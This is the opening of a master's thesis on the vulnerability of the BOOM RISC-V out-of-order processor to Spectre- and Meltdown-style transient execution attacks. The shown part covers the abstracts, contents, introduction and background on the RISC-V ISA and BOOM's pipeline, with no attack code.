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Abstract

This thesis analyzes the vulnerability of the Berkeley Out-Of-Order Machine
(BOOM), a RISC-V open-source out-of-order processor, to transient execution
attacks, which comprise Spectre and Meltdown attack families, along with
more recently discovered ones, united by exploitation of speculative execution
mechanisms to leak confidential data across isolation boundaries, posing a
serious threat to modern processors . While originally documented in x86
and ARM architectures, such attacks need to be thoroughly analyzed for their

implications on new RISC-V designs.

We begin by reviewing the RISC-V Instruction Set Architecture (ISA) and the his-
torical development of BOOM, its evolution, important features, hardware support, and
its differences with respect to in-order RISC-V cores. We then present a comprehensive
overview of transient execution attacks, detailing the structures they exploit—such as
branch predictors, return stack buffers, and store-to-load forwarding mechanisms—and

discussing their relevance to BOOM’s speculative execution pipeline.

Following, we describe a methodology for porting a range of known transient execution
attacks, including Spectre Variants 1, 2, 4, Meltdown and emerging threats, to BOOM.
Each attack is implemented in a modified BOOM model called MEDIUMBOOMV3 which

is integrated within Chipyard framework and simulated with Verilator.

Our analyses reveal that microarchitectural conditions enable Spectre-based attacks to
function, while Meltdown-type attacks appear to be dependent on how BOOM’s privi-
lege and memory management is architected. Moreover, we focus on recently reported
attacks like Load Value Injection, Retbleed, and others to illustrate the state-of-the-art

in speculative execution threats.

Overall, this work emphasizes the necessity of protecting out-of-order RISC-V designs,
indeed, by empirically validating a range of transient execution vulnerabilities, we provide
insights for future research and secure design practices aimed at mitigating these sophis-

ticated microarchitectural attacks.
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Abstract in lingua italiana

Questa tesi analizza la vulnerabilita della Berkeley Out-Of-Order Machine
(BOOM) — un processore RISC-V open-source e out-of-order — relativamente
ai Transient Execution Attacks, che includono lintera famiglia di attacchi
Spectre e Meltdown, cosi come alcune varianti pit recenti. Questi attacchi
utilizzano meccanismi di esecuzione speculativa per violare dati riservati oltre
i confini di isolamento e protezione forniti, costituendo cosi una minaccia pre-
occupante per i microprocessori moderni. Sebbene questi attacchi siano stati
documentati per la prima volta sulle architetture x86 e ARM, il loro impatto

sui nuovi design RISC-V é altrettanto importante da considerare.

All'inizio si esamina la RISC-V Instruction Set Architecture (ISA) e lo sviluppo storico
di BOOM, illustrandone I’evoluzione e le principali caratteristiche. Successivamente, si
presenta una panoramica completa dei Transient Execution Attacks, descrivendo le strut-
ture sfruttate - come Branch Predictor, Return Stack Buffer e i meccanismi di store-to-load

forwarding —, discutendone la rilevanza all’interno della pipeline speculativa di BOOM.

Nella parte centrale del lavoro, si descrive una metodologia per il porting di una serie di
Transient Execution Attacks noti su BOOM. Ogni attacco € implementato in una versione
modificata del core BOOM, denominata MEDIUMBOOMYV3, integrata nel framework

Chipyard e simulata tramite Verilator.

Le analisi evidenziano che determinate condizioni microarchitetturali consentono il fun-
zionamento di attacchi basati su Spectre, mentre gli attacchi di tipo Meltdown risultano
dipendenti dalla progettazione dei livelli di privilegio e della gestione della memoria in
BOOM. Inoltre, ci si sofferma su attacchi recentemente segnalati per illustrare lo stato

dell’arte delle minacce legate all’esecuzione speculativa.

In definitiva, questo lavoro sottolinea la necessita di proteggere i design out-of-order
basati su RISC-V: validando empiricamente numerose vulnerabilitd, si forniscono indi-
cazioni utili per la ricerca futura e per ’adozione di pratiche di progettazione sicure volte

a mitigare queste complesse minacce microarchitetturali.



Parole chiave: RISC-V, BOOM, Berkeley Out-of-Order Machine, Esecuzione fuori or-
dine, Esecuzione speculativa, Spectre, Meltdown, Retbleed, Load Value Injection, Attac-
chi microarchitetturali, Chipyard, Verilator, Sicurezza hardware, Mitigazioni di sicurezza,
ISA RISC-V, Architettura del set di istruzioni, Forwarding store-to-load, Livelli di privi-

legio, Gestione della memoria



Contents
Abstract i
Abstract in lingua italiana iii
Contents \%
1 Introduction 1
1.1 Thesis objectives and contributions . . . . . .. .. ... ... 4
1.2 Thesis structure: Chapter overview . . . . . . . . .. .. ... ... .... 5
2 Background 9
2.1 RISC-V . . e 9
2.1.1 RISC-VISA . . . . . 10
2.2 The Berkeley Out-of-Order Machine (BOOM) . . . .. ... ... ... .. 12
2.2.1 History and Development . . . . . . .. ... .. ... ... ..., 12
222 Key Features . . . .. ... 13
2.2.3 Hardware Support . . . . . . . ... .. 15
2.2.4 Software Ecosystem . . . . . . .. ... o oo 16
2.2.5 BOOM Microarchitecture . . . . .. ... ... ... ... ..... 17
2.3 Transient Execution Attacks . . . . . . . . . .. ... ... ... ... .. 19
2.3.1 Mechanisms of Transient Execution Attacks . . . . ... ... ... 21
2.3.2 Structures Exploited by Transient Execution Attacks . . . . . . .. 22
2.3.3 Compatibility of BOOM with Transient Execution Attacks . . . . . 31
3 Porting of Transient Execution Attacks 35
3.1 Porting Strategy . . . . . . .. 35
3.1.1 Overview Of Experimented Attacks . . . . . ... ... ... .... 37
3.2 Porting of Individual Attacks . . . . . . . .. ... o 38
3.2.1 Spectre Variant 1: Bounds Check Bypass . . . . . .. .. .. .. .. 38

3.2.2  Spectre Variant 2: Branch Target Injection . . . . . . . . .. .. .. 41



3.2.3 Spectre RSB: Return Stack Buffer . . . . . . ... ... ... ....
3.2.4  Spectre Variant 4: Speculative Store Bypass . . . . . . . . ... ..
3.2.5 Meltdown . . . . . ...
3.2.6 Load Value Injection (LVI). . . . . . ... ... ... ... .....
3.2.7 Retbleed . . . . . . . . .
3.2.8 Inception . . . . . ..
3.2.9 SCSB: Speculative Code Store Bypass . . . . ... ... ... ...
3.2.10 Indirector . . . . . . . . . ..

4 Experimental Results
4.1 Evaluation Methodology . . . . . . . . . . ... ... .
4.1.1 Chipyard and Verilator as Simulation Frameworks . . . . . . . . ..
4.1.2  Custom BOOM Implementation: MEDIUMBOOMV3 . . . . . . ..
4.1.3 Metrics for Attack Effectiveness . . . . . . . ... ... ...
4.2  Results of Spectre-Based Attacks . . . . . . .. ...
4.3 Results of Meltdown-Type Attacks . . . . . .. .. ... ... ... ....
4.4 Results of Emerging Speculative Attacks . . . . . . .. ... ... ... ..

5 Related Work

5.1 Side-Channel and Transient Execution Attacks . . . . . . ... ... .. ..
5.1.1 Early Side-Channel Attacks on Microarchitectures . . . . . . . . ..
5.1.2 Speculative Execution Attacks . . . . . .. ... ... ... ... ..

5.2 RISC-V Security Research and BOOM-Related Studies . . . . . . . .. ..
5.2.1 BOOM Microprocessor Studies . . . . . . . ... ... ... ....

5.3 Gaps in Existing Research and Novel Contributions . . . . . . . . . .. ..

6 Conclusions
6.1 Future Work

Bibliography

List of Figures

List of Tables

67
67
67
68
69
72
74
76

79
79
79
79
81
82
83

85
87

91

101

103



]_ Introduction

In previous years, there has been constant improvement in the microprocessor architec-
ture with respect to their performance and power efficiency. As computing demand has
increased, architectural innovations have been crucial in maintaining the growth in pro-

cessor’s capabilities.

One significant advancement related to modern microprocessors is the addition of spec-
ulative execution 18], which enables a processor to perform the predicted future instruc-
tions before the instructions are confirmed to be needed. Through speculation, processors
can reduce waiting time and maximize productivity. However, this aggressive method of
optimizing performance increases the chances of security risks, as evident in side-channel

attacks that take advantage of temporary states throughout execution pipelines.

Another crucial technique is branch prediction, which reduces the waiting time asso-
ciated with changes in program logic sequences [48]. In previous execution models, the
processor had to wait for the complete resolution of conditional branch execution before
moving on, which resulted in wasted time and resources. With modern day branch predic-
tion features, processors can take decisions ahead of time, execute required instructions,
and thus greatly enhance speed. However, inaccurate decision rolls have to be undone

allowing an attacker to retrieve valuable data through side-channel information [15].

Moreover, also advanced memory management techniques have been applied and played
a crucial role in optimizing data access and reducing latency. Features such as out-of-order
execution, cache hierarchies and memory prefetching have been designed to reduce stalls
and provide fast data retrieval. However, they also introduce microarchitectural vulnera-
bilities exploitable by attackers, which take advantage of speculative memory accesses to
leak confidential data [56].

Overall, despite significantly improving computational performance, these architectural
enhancements have been proven to introduce severe security challenges. Indeed, the trade-
off between speed and security has become a critical concern, more specifically in the
context of Transient Execution Attacks (TEAs) [17], which are known to exploit signature

features of modern microprocessors to extract sensitive information through side-channels.
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Transient Execution Attacks are some of the more well-known security challenges that
threaten modern microprocessors. They make use of the so-called transient states, which
are short-lived speculative computations that occur as a result of various advanced per-
formance enhancing techniques including speculative execution, branch prediction, and
out-of-order execution [36]. While these types of measures are meant to increase the op-
erational efficiency of a microprocessor, they simultaneously put the sensitive information

of microprocessor owners at risk, which can be obtained through side-channels.

TEAs primarily target the lack of balance between the architectural and micro-architectural
features of a processor [17]. From the architectural perspective, there should be no observ-
able system behavior as a result of speculative operations that are removed. However, on
the micro-architectural side, transient execution does have measurable effects on system
components like caches, branch predictors, or even execution units, where these effects
can be captured and stored for malicious use. This set of attacks are very risky in terms
of system security because they do not require conventional protective approaches using

separation of memory and privilege levels.

The consequences of these vulnerabilities are multidimensional and flexible considering
that they are known to be applicable to multiple x86, ARM, and RISC-V processor
architectures [17]. Although measures like firmware patches, compiler-based hardening
techniques, and microcode updates have been implemented to reduce risk, they are not
without incurring some degree of performance loss as well as added complexity. These
sources of risk also impact use of the RISC-V architecture, the open-source instruction

set which is rapidly gaining traction in academic and industrial circles.

In fact, as just mentioned, RISC-V constitutes an open standard instruction set archi-
tecture (ISA) [58] that reflects the principles of reduced instruction set computing (RISC)
[34]. It was initiated at the University of California at Berkeley in 2010 to allow free and
open architecture to be used with embedded systems and high-performance computing
[57]. Unlike proprietary architectures, RISC V can be freely adopted and modified which
allows innovation and personalized design of the processors. The simplicity and modular-
ity form the base for RISC-V architecture [58], it has a small base set of instructions that
the designers can customize with respect to application requirements. This modularity
ensures a streamlined and efficient design process while making it easy to scale across
different computing environments. The base ISA is minimalist on purpose and includes
the base instructions with further functionalities like integer multiplication, division and
floating-point arithmetic provided through standard extensions [57]. RISC-V’s expan-
sion capabilities make sure that the principal implementations can remain lightweight or

advanced depending on necessity.



1| Introduction 3

Despite the flexibility and openness RISC-V provides, it suffers many of the traditional
architecture’s speculative execution vulnerabilities. With the growing adoption of RISC-V
in embedded systems, cloud computing, and high-performance computing, it is necessary
to examine the potential TEAs damage to guarantee the security and dependability of
RISC-V for the future.

One of the problems that comes with the security challenges of RISC-V is hardware
integrity. Since anyone can create and sell RISC-V cores, the possibilities and risks of
selling Trojan-infused systems or compromised designs that could undermine system se-
curity exist. Such disseminated designs — whether done on purpose or by accident - can
be done without many hindrances. Therefore, it is imperative to establish rigorous verifi-
cation and validation processes to ensure the trustworthiness of RISC-V implementations
[41]. The collaborative and open way in which the RISC-V ecosystem works leads to
rapid development. Though beneficial, such rapid expansion is worrying due to the new
vulnerabilities that may be introduced over time. In this case, we argue for the necessity
of a coordinated, cross-cutting approach to provide security among RISC-V stakeholders,
with which best practices can be established, which threats can be reported and what

information on standardized security frameworks can be shared.

More in depth, one application of the RISC-V architecture that excels in the domain
of speculative execution gaps is the Berkeley Out-of-Order Machine (BOOM). BOOM is
an open-source out-of-order RISC-V core that is designed to serve as a high-performing
alternative to X86 and ARM microarchitectures. Differently from simpler, in-order RISC-
V cores, BOOM incorporates advanced features such as speculative execution, branch
prediction, and dynamic instruction scheduling, making it more susceptible to Transient
Execution Attacks (TEAs) [11].

The BOOM architecture is based on a superscalar, out-of-order execution model, which
takes advantage of aggressive speculation and deep pipelining for high instruction through-
put. The custom branch predictor aims to minimize the stalling cycles caused by control
flow changes, and robust memory handling mechanisms such as speculative loads and
store forwarding are implemented by the load-store unit (LSU). These mechanisms fur-
ther enhance performance and, in turn, increase the potential security exposure due to
the microarchitectural side-channel leakage mechanisms similar to those in x86 and ARM

systems.

Indeed, the motivation of this research stems from the need to detail and describe how
the optimizations obtained from the BOOM micro-architecture represent an easy attack

surface for Transient Execution Attacks (TEAs) [11]. It also very important to determine
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whether the compromise between power and security is acceptable, thus, with the increase
of interest in the implementation of these types of microprocessors, it is also crucial to
carry out a coherent piece of work in order to highlight the security issues related to their
use. These problems can invalidate many researches and discoveries made about these
processors, therefore addressing these security issues is important because it determines
the validity and accuracy of the research conducted on BOOM microprocessors, if more
emphasis is placed on the safety and reliability of these microprocessors, academic research

will benefit as the findings will be more credible.

1.1. Thesis objectives and contributions

This particular research calls for an analysis, summary and critique of literature regard-
ing RISC-V and BOOM microprocessors. The aim is to provide an in-depth account to
the existing literature that covers its objective, methods and outcomes. In particular,
this work starts with a synthesis of what is currently available with respect to BOOM
microprocessors. In fact, the focus will be more on the open-source flexible BOOM micro-
processors. This work involves crafting and deploying sound and integral methodologies
for verification and exploitation of probable vulnerabilities of BOOM processors. They
are expected to be comprehensive and robust in identifying potential security weaknesses.
The purpose is to develop methodologies that systematically and precisely address vulner-
abilities to improve the overall security of BOOM microprocessors. Along with validating
weaknesses, the methodology seeks to exploit these flaws as means of assessing the po-
tential damages, this means carrying out a series of mock attacks or other destructive

operations to see the extent to which a particular vulnerability may be exploited.

This study aims to obtain results that can be verified in the future, this requires the
recording of the techniques and steps of the investigation for third parties to reproduce
the study and confirm the results. In doing so, the study aims to enhance the quality and
acceptance of the BOOM microprocessors research. The documentation as well as the
principles established will act as a basis for undertaking future projects and researches
concerning microprocessors’ security. This work intends to make progress in the study of
microprocessor security by providing sufficient details and information which must be easy
to follow. This Master’s thesis can aid researchers and developers in their assignments
and inventions, so that they may build on the results and suggestions provided in this

work.

The most important point of this Master’s thesis is to act as a complete guide that

clusters and analyzes the latest Transient Execution Attacks into one coherent document.
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In fact, research on BOOM and RISC-V out-of-order cores remains limited, fragmented,
and lacks a systematic evaluation. Unlike previous isolated studies, this research pro-
vides the first end-to-end security assessment of BOOM, covering both known and novel
speculative execution attacks. this thesis attempts to address the gaps left by providing
a panoramic view of TEAs-related vulnerabilities, their corresponding techniques, and

impacts on security. The study’s focus will be on the following;:

e Overview of the security analysis for the microarchitectural components of BOOM
that are possible preys of TEAs, in which the security risks produced by speculative

execution are mapped.

e Testing the effectiveness of previously studied speculative execution attacks, like

Spectre and Meltdown, on BOOM to verify and confirm their effectiveness.

e Applying unexplored attack methods for BOOM’s unique execution model that

leverage undocumented security vulnerabilities in RISC-V.

e Developing an extensive test suite for the consolidated TEAs and the newly devel-
oped BOOM security exploits to extend the evaluation of the security of BOOM
RISC-V cores.

In constructing such a detailed overview, this Master’s thesis serves the purpose of pro-
viding researchers with a single point of access, therefore increasing the knowledge of TEAs
through the provision of specific classifications, concrete attacks and clear statements of

results.

1.2. Thesis structure: Chapter overview

Chapter 1 - Introduction

This chapter sets the groundwork for the thesis while detailing its goals, boundaries,
and interdisciplinary relevance. It examines the intersection of the BOOM and RISC-
V microarchitectures focusing on critical security issues relating to microarchitectural
weaknesses in contemporary computing systems. The chapter explains the gaps that need
further research, particularly analyzing methods of speculative execution and their abuse
in crossing boundary attacks. Significant findings are discussed, such as the approaches to
find BOOM-specific vulnerabilities and the schemes to defend against transient execution
attacks. All of these are integrated to prepare the ground for the following parts of the
technical description combining the aspects of the theoretic paradigm and the practical

engineering of secure processors.
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Chapter 2 - Background

The second chapter develops the technical context needed to understand the RISC-V
ISA alongside BOOM microarchitecture. It begins by looking at the RISC-V ecosystem
through its modular design philosophy that facilitates customization through optional ex-
tensions. The chapter then moves to BOOM, explaining its key features like superscalar
execution, dynamic branch prediction, and out-of-order (OoQO) pipeline optimizations.
Significant attention is directed towards the ways these architectural features create mi-

croarchitectural side channels, especially in the context of speculative execution.

In the second half of the chapter, the focus is on transient execution attacks, defining
them by the means used to leverage speculative paths to circumvent security domains.
Attacks are viewed through the lens of BOOM’s design and mechanisms such as specu-
lative memory access and branch misprediction are given special attention. This analysis
aims at finding attack vectors relevant to BOOM’s implementation to make sure that the

experimental evaluation in Chapter 4 is properly targeted.

Chapter 3 - Porting of Transient Execution Attacks

In Chapter 3, we will focus on the application of transient execution attack paradigms
into the RISC-V BOOM microarchitecture. Analysis begins with an attempt to decon-
struct canonical attacks like Spectre, Meltdown, and their derivatives to retrieve basic
methods of enabling speculative boundary violations. A methodological framework is
then proposed for porting these exploits to BOOM, addressing challenges such as ISA-

specific instructions and pipeline timing disparities.

The chapter emphasizes BOOM’s susceptibility to transient execution flaws, particularly
its speculative load /store optimizations and branch prediction units, this work attempts to

construct the mapping of theoretical vulnerabilities to practical engineering exploitation.

Chapter 4 - Experimental Results

Chapter 4 is the nucleus of the thesis, where we report the experiments carried out
to measure the susceptibility of BOOM to transient execution attacks. It explains the
methodology, specifically the setup, tools, and techniques used. Afterwards, results are
analyzed in a systematic manner, describing which of the attacks worked, what its impact
was, and if proposed mitigations were of any use. They explore some scenarios under
which particular attacks failed, emphasizing the identification of root causes. In this
chapter, we critically evaluate BOOM’s security as well as the performance-mitigation
trade-offs.
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Chapter 5 - Related Work

In this chapter, we will highlight literature and studies which are related to this master’s
thesis. It focuses on side-channel and transient execution attacks, considering both early
microarchitectural weaknesses as well as speculative execution attacks. We will then
look at mitigation techniques and focus on the works done in hardware and software
defenses and specific security research within RISC-V, focusing on BOOM core. Lastly,
these researches will be compared with the conclusions drawn from this thesis, and we
will assess the voids from previous studies while determining what further investigations
could be conducted in the areas of BOOM and RISC-V security.

Conclusions

The last chapter combines the key findings of the thesis to provide one comprehensive
conclusion regarding the security of the BOOM microarchitecture against transient exe-
cution vulnerabilities. Moreover, It discusses the potential impact of the research on the
wider field of microarchitectural security. This chapter also introduces ideas and con-
cepts to provide a route for future work, like emerging attack vectors, hardware-software
co-design solutions for enhanced security, and applying these findings to other RISC-V

processors.
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2 ‘ Background

2.1. RISC-V

RISC-V is a free and open-source Intruction Set that was an academic project developed
by Krste Asanovi¢ and David Patterson|58] at University of California, Berkeley. It is the
fifth RISC project done at Berkeley, after the developement and productions of RISC-I,
RISC-II, SOAR, and SPUR [59]. Since the Beginning, RISC-V has been designed as a

modern instruction set architecture (ISA), focusing on modularity and simplicity.

RISC-V is intended to be the starting point of innovation as well as a practical im-
plementation for a variety of users, in fact design phase is guided by multiple high-level

objectives.

Essentially, RISC-V embodies the key characteristic to be the center of academic re-
search and study, that is its ISA design that is open, extensible, and adaptable. These
principles do not only support research, education, and learning but are also intended
to address the needs of practical industrial deployments. Indeed, beyond education and
experimentation, RISC-V is a major leap in computing evolution, being designed to meet

the demands of real-world industrial applications.

This chapter introduces the RISC-V ISA architecture, discussing its standard extensions
in order to understand the features behind the applicability of the vulnerabilities that we

will assess in the following chapters

Design Philosophy
RISC-V is distinguished by its design philosophy of not over-engineering the ISA for

specific microarchitectures. This philosophy allows us to make efficient designs whether
it be custom hardware or even FPGAs and other environments. Modularity is another
fundamental specialization of RISC-V: it specifies a required base instruction set (e.g.,
RV32I or RV64I) along with a number of optional extensions (such as floating point,
vector processing, or encryption), good for adapting the architecture to the specific needs

of the projects developers are working on.
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The adoption of RISC-V has risen in the last few years, with many implementations
found in applications from embedded devices to supercomputers [35], automotive systems
[13], and artificial intelligence [23]. Its free availability has fostered innovation, resulting in
not only better open-source processors but also COTS designs targeting niche applications.
Network and cloud-enabled industries have also emerged with RISC-V as a complementary
drop-in replacement or an alternative competitor to traditional architectures like ARM

and x&6.

Key Features

The main characteristics of the RISC-V architecture are the fixed-length 32-bit base
instruction set but with optional variable-length extensions (a multiple of 16-bit packets)
[58], consequently, this design makes it possible for RISC-V to be used for tiny embedded
systems, personal computers, vector processors in supercomputers, or warehouse-scale
parallel computers. It also supports 32-bit and 64-bit address space variants, with a

128-bit variant currently in the works [58].

RISC-V’s main purpose is to create a new ISA design standard that allows for a variety
of broad processor implementations. Some of its design philosophy principles include
simplicity, effectiveness and extensibility. Users will need to set a base integer instruction
set to be used for computing and then can add other instruction sets as required for
the target application. Efficiency is covered by allowing implementations to be tuned for
performance, power, and area. Also, extensibility is a central theme, as the ISA is built to
easily incorporate numerous extensions, allowing it to scale with respect to specific needs.
The goal of this methodology is to address the shortcomings of current ISAs in order to

drive innovation and cooperation in the community:.

2.1.1. RISC-V ISA

The RISC-V Instruction Set Architecture (ISA) is designed to be both simple and effi-
cient, maintaining its key characteristic of being flexible, in order to be applied according
to different computing needs[58|. Fundamentally, at its core, RISC-V is distinguished by
its base integer ISAs on which are added a set of standard extensions that enhance its

capabilities.

Base Integer ISA: RV32I and RV641

RISC-V provides two standard base ISA integer versions: RV32I (for 32-bit implemen-
tations) and RV641 (for 64-bit implementations) [58]. Both are served by simplicity and
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minimalism, which is a great starting point for building more complex systems. The RV 321
ISA features 32 registers, and RV64I offers a wider register width of 64 bits. Moreover,
such base ISAs must support many operations, including arithmetic, logic, and control
flow, in order to ensure a sufficient level of compatibility across a diverse set of computing

environments.

Beyond the base integer ISAs, RISC-V has several standard extensions for specific

functionality:

e M Extension (Integer Multiplication and Division): Adds support for integer
multiplication and division, enhancing computational efficiency for arithmetic-heavy

applications [58].

e A Extension (Atomic Operations): Introduces atomic operations for multi-
threading, critical for ensuring data integrity in concurrent computing environments

[58].

e F Extension (Single-Precision Floating-Point): Implements single-precision

floating-point computation, vital for numerical analysis and scientific computing
tasks [58].

e D Extension (Double-Precision Floating-Point): Extends the F extension
to include double-precision floating-point operations, providing higher precision for

advanced computational requirements [58].

These extension are made and designed to be modular, allowing customizable ISA to
be adapted to different environments according to specific needs, making this flexibility a
key point for the RISC-V architecture, promoting innovation and collaboration through

a wide spectrum of computing applications.

Moreover, one intriguing feature of the RISC-V architecture is the ability to extend it
due to its nature of being compact and modular in design. This architecture permits
user-defined and application-specific non-standard instructions to be incorporated. Such
freedom is very important as it facilitates the development of custom accelerators and
other components that can improve computation efficiency for a specific workload. These
extensions are effective, as they work in parallel with the base ISA, this guarantees that

additional functions can be obtained while still keeping control.

Therefore, the RISC-V framework makes it possible for specific processors to be highly
focused and efficient since designers can customize the instruction set according to the
requirements of the relevant applications. This is very important in some areas like embed-

ded systems, automotive industries, and high-performance computers where performance
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and efficiency are critical.

Furthermore, there exists a community of designers and developers who share their
custom extensions, fostering a more open-sourced design culture. This collaboration not
only speeds up the pace of innovation but also makes it possible for the RISC-V ecosystem

to continue changing and growing in response to changes in technology.

In closing, not only does RISC-V support custom extensions, but that capability makes
it stand out with respect to other architectures and improves its usability. RISC-V allows
immense flexibility and openness because designers focus on making efficient and powerful
processors for their audience, which indeed magnifies advancement in countless target

applications.

2.2. The Berkeley Out-of-Order Machine (BOOM)

BOOM (Berkeley Out-of-Order Machine) is an important milestone in the design and
implementation of RISC-V processors. It was created by Christopher Celio and his team
at the University of California, Berkeley, under the supervision of Krste Asanovié¢ as a
synthesizable, parameterized, superscalar out-of-order RISC-V core. It has become an
important resource for driving forward microarchitectural research and understanding

the nuances of out-of-order execution in contemporary processors.

2.2.1. History and Development

BOOM originated as an open-source project aimed between academic research and
practical processor design. Many open-source cores at the time were very rudimentary and
excluded out-of-order execution, branch prediction, and dynamic instruction scheduling,
key concepts in understanding and optimizing high-performance architectures. To address
this gap, BOOM now aims to be a robust software development platform to support

research traditionally deployed in commercial processors at the microarchitectural level.

The first-generation BOOM core was released as part of the Chipyard framework, an
open-source RISC-V-based SoC design environment. BOOM went through several itera-
tions, and by the fourth iteration, it had added features like precise exception handling, ag-
gressive branch prediction and speculative execution. These developments helped BOOM
to become a strong competitor against commercial cores and showcased the promise of

open-source hardware for both academic and industrial applications
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Design Philosophy
The BOOM architecture is built upon the RISC-V ISA and benefits from the ISA’s

modularity and extensibility to add much of the sophistication while still conforming
to the standard. As an example, researchers can use the argument parameterization
features to tailor the design for the particular studies they are interested in (e.g., number
of pipeline stages, issue widths and cache configurations). Such flexibility in the pipeline
makes BOOM an ideal class of platform for both academic exploration and industrial

prototyping.

BOOM is written in Chisel, a hardware construction language developed at Berkeley,
enabling the creation of highly parameterized and reusable hardware designs. This choice
highlights the project’s focus on readability, openness, and flexibility for academic and
industrial applications. The core, encapsulated in about 9000 lines of Chisel, proves
compact and efficient engineering, leveraging the Rocket-chip SoC generator to rapidly

prototype a complete multicore system inclusive of caches and uncore components. [8|.
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Figure 2.1: Boom Pipeline

2.2.2. Key Features

Superscalar and Out-of-Order Execution

BOOM is an example of superscalar out-of-order processors that demonstrates a high-
level design strategy by allowing multiple instructions to issue and execute every cycle.
This is in stark contrast to the simplistic, traditional in-order execution models, where
each instruction is executed in the order it is fetched. BOOM, however, implements more

aggressively speculative execution by fundamentally relaxing the sequential constraint of
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instructions; as such, BOOM is a highly efficient RISC microprocessor for a wide range

of computationally intensive workloads with varying degrees of 1LP.

Superscalar, out-of-order processors such as BOOM can extract significant amounts of
parallelism from the instruction stream because they can statically inspect the instruction
stream and group dependent instructions into large, independent groups of instructions.
BOOM is also able to issue multiple dependent instructions in parallel, as long as there
are enough execution units available and there are no resource conflicts; this ability is
afforded by dynamic instruction scheduling, register renaming, and speculative execution
[47][52]. Reordering and parallelizing instructions allow a CPU to maximize the use of

ALUs, floating-point units, access to RAM, to maximize throughput.

For conditional branches, BOOM implements speculative execution; it speculates which
path the program will take, and pre-fetches and executes instructions before the final
resolution of the branch occurs, as long as it does not try to commit an instruction that
is 'invalid’. Speculative execution allows BOOM to hide performance penalties associated
with control-flow changes (e.g., pipeline stalls due to branch mispredictions) by allowing
control flow to be executed in an out-of-order fashion. Mispredictions are costly, but
BOOM’s fine-grained exception handling and precise rollback mechanism can guarantee

giving the right answer with good performance.

The Principles Behind Out-of-Order Execution

In out of order execution (OoOE), the most important principle is the separation of the
order of the issued instructions from the order of executed instructions and their results.
Therefore, a process can execute its instructions as long as their dependencies are resolved,
enabling independent instructions to be executed in parallel. This technique is especially
helpful in alleviating stalls that are as a result of data dependencies and long-latency

operations, such as accesses to memory.
Typical stages of OoOE can be described as follows:

e Instruction Fetch and Decode: Instructions are fetched and decoded in the

program order to maintain the logic flow of the program.

e Instruction Scheduling: Instructions that were already decoded are stored in a

buffer (ROB) and are performed based on the availability of the operands.

e Execution: Ready instruction are sent to the operational units in a different se-

quence based on their readiness levels and the presence of execution units.

e Retirement: Instructions that are accomplished are retired in the appropriate
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sequence to keep the architectural state sane and valid.

Microarchitectural point of view

For the correct implementation of out of order execution, several key components are

necessary:

e Reorder Buffer: The ROB guarantees that instructions are retired in program
order, indeed it records instructions’ states from the decode stage to the retirement
stage. Thus, it maintains correctness of the program in spite of his out of order

execution.

e Reservation Stations (RS): Reservation stations hold instructions that are await-
ing the availability of specific operands. When all the dependencies are satisfied,

the instruction is forwarded to the corresponding functional unit for execution.

e Register Renaming: It removes dependencies that are created by two writes to
the same place or by a write and read to the same place (write-after-read and write-
after-write hazards) through physical register allocation. This mechanism prevents
subsequent instructions using the same logical registers that are utilized by previous

instructions from depending on those preceding ones.

e Load buffers and store buffers: They control memory operations and enable
out-of-order memory loads and stores while preserving memory order consistency.
More sophisticated buffering methods take care of data hazards, such as load-after-

store issues.

2.2.3. Hardware Support

BOOM can rely on a wide hardware support, including a range of features that can
overcome many different computational needs. These include atomic operations, IEEE
754-2008 floating point standards and full system page-based virtual memory [8], mak-
ing these capabilities able to ensure that BOOM is ready for diverse applications, from

complex scientific calculations to basic operating system functionalities.

Atomic operations allow efficient and safe parallel computing, such as read or write
operations executed at the same time from different instances of programs, guaranteeing
that operands will remain consistent. This allows BOOM to safely operate on several
processing threads concurrently without losing the thread on the inner states, meaning
that in high-performance computing, it is consistent with the whole idea that is to scale

and get major speed up while keeping parallelism.
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Also, since BOOM now has full system page-based virtual memory support [8], vir-
tual memory can provide an abstraction of physical memory, enabling more flexible and
effective memory management. This provides a particular advantage for operating sys-
tems with regard to enhanced process isolation, greater security, and more efficient use
of available memory. By supporting page-based virtual memory, BOOM enables com-
plex memory management used for the stable and secure operation of modern computing

systems.

This extensive support makes BOOM a highly versatile and powerful hardware architec-
ture, capable of handling a wide range of workloads and applications. With such features,
BOOM can be used for a number of computational tasks in academia and the industry.
It has an advanced architecture that is able to handle from low to high speed characteris-
tics in applications from high-end scientific computing through reliable operating system

support.

2.2.4. Software Ecosystem

Thanks to its wide compatibility with the RISC-V ecosystem, BOOM’s utility has
become quite extensive. Indeed, support for widely used compilers such ass GCC (GNU
Compiler Collection) and LLVM (Low-Level Virtual Machine)[8], which are essential tools
for software development and optimization, has been fully enabled. This makes it possible
to efficiently translate high-level programming languages to machine code scripts that

BOOM can execute, facilitating a smooth developing process.

Moreover BOOM is known to be fully capable of running on Linux operating system,
making it a real advantage [8], in fact Linux is widely adopted in both academic and
industrial settings, hence BOOM can integrate seamlessly into existing computing envi-

ronments.

Such broad software support is essential for a processor to gain adoption and be eval-
uated in real applications, moreover BOOM'’s performance capabilities are indeed under-
lined by running recognized benchmarks, such as CoreMark [66], and operating systems,

making its reliability and versatility valid across divergent computing environments.

In summary, BOOM’s practical utility and appeal is being strongly reinforced by its
compatibility with GCC and LLVM compilers, Linux OS and benchmarks, which boosts
its practical utility and appeal. This strong software support is necessary for the processor

adoption and evaluation.
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2.2.5. BOOM Microarchitecture

Overall, BOOM’s microarchitecture is designed with care to provide a balance of per-

formance, power, and flexibility, indeed its main components are described below.

Components

Fetch Unit: The fetch unit fetches the instruction from memory. It includes branch
prediction mechanisms that reduce performance penalties associated with branch
instructions. BOOM uses advanced branch prediction techniques to increase the

accuracy of these optimizations, hence to prevent mispredicted branches.

Decode Unit: After fetching instructions, the next step is to pass them to the
decode unit that converts the instructions into a form that can be executed by the
processor, it may also identify dependencies between instructions in the decode unit,

preparing them for execution.

Rename Unit: The rename unit is important for out-of-order execution. Instruc-
tion reordering is done by mapping logical registers to physical registers. This unit

reduces false dependencies and increases instruction-level parallelism.

Issue Queue: An instruction queue stores instruction waiting to be processed. It
dynamically schedules them based on resource availability rather than a fixed order,

so as to minimize the usage of execution units.

Execution units: integer ALUs (Arithmetic Logic Units), floating point units,
and load/store units are in charge of doing the actual computation and memory
ops. The processor supports parallel execution across all three distinct execution
units, which means that instructions can be processed in parallel, making full usage

of this architectural choice, improving overall performance.

Reorder Buffer (ROB): The ROB keeps track of the order of instructions in the
hardware. It guarantees that instructions are committed in the order they have
been issued, even though they may have been executed out of order. This process

is crucial for ensuring that the program remains consistent and correct.

Branch Prediction components

BOOM'’s branch prediction is the key that define its conception and there are key

components that allow this behavior that are:

